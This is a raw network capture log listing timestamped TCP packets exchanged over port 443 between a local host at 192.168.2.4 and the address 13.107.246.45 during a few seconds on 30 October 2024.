Oct 30, 2024 06:17:35.447954893 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.450890064 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.450932980 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.451030016 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.451148987 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.451169014 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.462162971 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.462229967 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.462282896 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.462510109 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.462527037 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.462538958 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.462544918 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.464838028 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.464860916 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.464922905 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.465059996 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.465069056 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.495059967 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.495142937 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.495219946 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.495477915 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.495496035 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.495508909 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.495515108 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.498528957 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.498552084 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.498648882 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.498831034 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.498843908 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.653439999 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.653975010 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.653992891 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.654406071 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.654412031 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.784280062 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.784610033 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.784723043 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.785104990 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.785128117 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.785139084 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.785144091 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.793556929 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.793598890 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.793663979 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.793811083 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.793824911 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.010320902 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.011018038 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.011044979 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.011593103 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.011600018 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.445122004 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.445233107 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.445297956 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.445313931 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.445343971 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.445398092 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.445564985 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.445579052 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.445588112 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.445593119 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.448548079 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.448589087 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.448687077 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.448843956 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.448858976 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.450640917 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.450961113 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.450970888 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.451419115 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.451425076 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.452804089 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.453166962 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.453181028 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.453563929 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.453567982 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.458975077 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.463679075 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.463694096 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.464121103 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.464126110 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.538126945 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.538636923 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.538655043 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.539047003 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.539053917 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.577970982 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.578003883 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.578051090 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.578135014 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.578186035 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.578459024 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.578470945 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.578483105 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.578486919 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.581615925 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.581649065 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.581722021 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.581864119 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.581877947 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.583162069 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.583230019 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.583324909 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.583370924 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.583384037 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.583394051 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.583400011 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.585419893 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.585481882 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.585560083 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.585679054 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.585714102 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.592828989 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.593123913 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.593194962 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.593374968 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.593390942 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.593403101 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.593409061 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.595577002 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.595663071 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.597311974 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.597436905 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.597470999 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.670217037 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.670351982 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.670459032 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.670743942 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.670757055 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.670768976 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.670773029 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.673943043 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.673988104 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:36.674078941 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.674209118 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:36.674227953 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.182410002 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.183142900 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.183157921 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.183743000 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.183748960 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.309654951 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.310389042 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.310434103 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.310862064 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.310874939 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.311417103 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.311578035 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.311691046 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.311721087 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.311737061 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.311748028 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.311753988 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.314074039 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.314994097 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.315067053 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.315296888 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.315355062 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.315367937 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.315443039 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.315464973 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.315778971 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.315797091 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.327604055 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.328089952 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.328147888 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.328648090 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.328663111 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.419696093 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.420555115 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.420593023 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.421228886 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.421245098 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.439784050 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.439853907 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.439955950 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.440174103 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.440174103 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.440210104 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.440232992 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.442991018 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.443037033 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.443094969 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.443308115 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.443330050 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.443890095 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.443924904 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.443974018 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.443980932 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.444036007 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.444169998 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.444206953 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.444233894 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.444247961 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.446973085 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.447073936 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.447150946 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.447268963 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.447305918 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.488873005 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.488935947 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.489049911 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.489113092 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.489561081 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.489600897 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.489628077 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.489644051 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.502943993 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.502973080 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.503110886 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.504004002 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.504020929 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.551419973 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.551639080 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.551717997 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.551856995 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.551882982 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.551908016 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.551922083 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.554752111 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.554789066 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:37.554882050 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.555048943 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:37.555075884 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.049871922 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.050417900 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.050482035 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.050864935 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.050884962 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.166850090 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.167421103 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.167490959 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.167879105 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.167900085 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.173443079 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.173815966 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.173839092 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.174202919 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.174207926 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.179868937 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.179939985 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.180011034 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.180036068 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.180083036 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.181934118 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.181969881 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.182018995 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.182034016 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.185121059 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.185178041 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.185283899 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.185461998 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.185491085 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.253958941 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.254371881 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.254394054 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.254741907 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.254746914 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.290080070 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.290663958 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.290714979 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.291032076 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.291044950 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.294502974 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.294806957 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.294871092 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.295006037 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.295042992 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.295068979 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.295084953 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.297312975 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.297348022 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.297414064 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.297715902 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.297732115 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.308244944 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.308329105 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.308386087 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.308577061 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.308585882 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.308597088 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.308600903 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.310606003 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.310651064 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.310741901 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.310863018 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.310889959 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.386662960 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.386806965 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.386884928 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.386991978 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.386996984 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.387032032 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.387036085 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.388964891 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.388974905 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.389039040 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.389151096 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.389161110 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.418509960 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.418612957 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.418682098 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.418709993 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.418755054 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.418811083 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.418847084 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.418848038 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.418870926 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.418893099 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.420677900 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.420762062 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.420838118 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.420960903 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.420993090 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.954468012 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.956183910 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.956231117 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:38.960057974 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:38.960078955 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.027846098 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.032294035 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.032315969 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.032838106 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.032844067 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.039177895 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.040334940 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.040349960 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.044229984 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.044238091 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.092833042 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.092885017 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.093049049 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.093111992 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.093147039 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.093173981 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.093188047 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.124648094 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:39.149382114 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:39.149395943 CET	443	49987	13.107.246.45	192.168.2.4
